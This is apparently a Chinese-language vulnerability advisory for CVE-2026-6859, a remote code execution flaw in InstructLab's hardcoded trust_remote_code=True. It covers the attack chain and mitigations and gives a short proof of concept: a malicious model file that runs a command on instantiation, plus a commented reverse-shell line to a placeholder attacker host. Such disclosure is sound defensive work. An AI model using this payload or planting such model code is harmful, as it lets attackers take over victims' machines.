IPBUF安全漏洞报告
English
CVE-2026-6859 CVSS 8.8 高危

CVE-2026-6859 InstructLab远程代码执行漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-6859
漏洞类型
远程代码执行 (RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
InstructLab

相关标签

RCEInstructLabHuggingFacePython供应链攻击trust_remote_code

漏洞概述

InstructLab项目的`linux_train.py`脚本存在安全缺陷,在从HuggingFace加载模型时硬编码启用了`trust_remote_code=True`。攻击者可诱导用户运行`ilab train`等命令并加载特制的恶意模型,从而触发任意Python代码执行,最终导致受害者系统完全沦陷。

技术细节

该漏洞源于InstructLab在处理模型加载时的不安全配置。脚本`linux_train.py`强制将`trust_remote_code`参数设为`True`。HuggingFace Transformers库在加载模型时会执行模型仓库中的Python代码(通常在`modeling_xxx.py`中)。当该参数为True时,即便模型来源不可信也会自动执行这些代码。攻击者只需上传包含恶意Python代码的伪造模型到HuggingFace Hub,一旦受害者使用InstructLab拉取并加载该模型,恶意代码即会在受害者环境中运行,无需进一步的权限提升即可获得系统控制权。

攻击链分析

STEP 1
1. 制作恶意模型
攻击者创建一个包含恶意Python代码的HuggingFace模型仓库,代码通常位于modeling文件中。
STEP 2
2. 托管恶意模型
攻击者将该恶意模型上传至公共的HuggingFace Hub。
STEP 3
3. 社会工程学诱导
攻击者诱导受害者使用InstructLab运行`ilab train`、`download`或`generate`命令,并指定加载该恶意模型。
STEP 4
4. 触发代码执行
InstructLab脚本加载模型时,由于`trust_remote_code=True`,自动解析并执行模型仓库中的恶意Python代码。
STEP 5
5. 系统沦陷
攻击者获得受害主机的代码执行权限,可能导致数据窃取或系统完全被控。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Malicious model file (e.g., modeling_instructlab.py) # Attacker uploads this to HuggingFace Hub import os class InstructLabModel: def __init__(self, config): # The payload executes when the model is instantiated print("[+] PoC: Executing arbitrary code via trust_remote_code=True") # Example: Reverse shell or data exfiltration # os.system("bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1") os.system("whoami")

影响范围

InstructLab (具体受影响版本未在描述中明确列出)

防御指南

临时缓解措施
建议用户暂时停止使用InstructLab加载不可信的HuggingFace模型。开发者应检查`linux_train.py`及相关脚本,确保`trust_remote_code`参数默认为False,并在确信模型安全的环境下才允许执行远程代码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表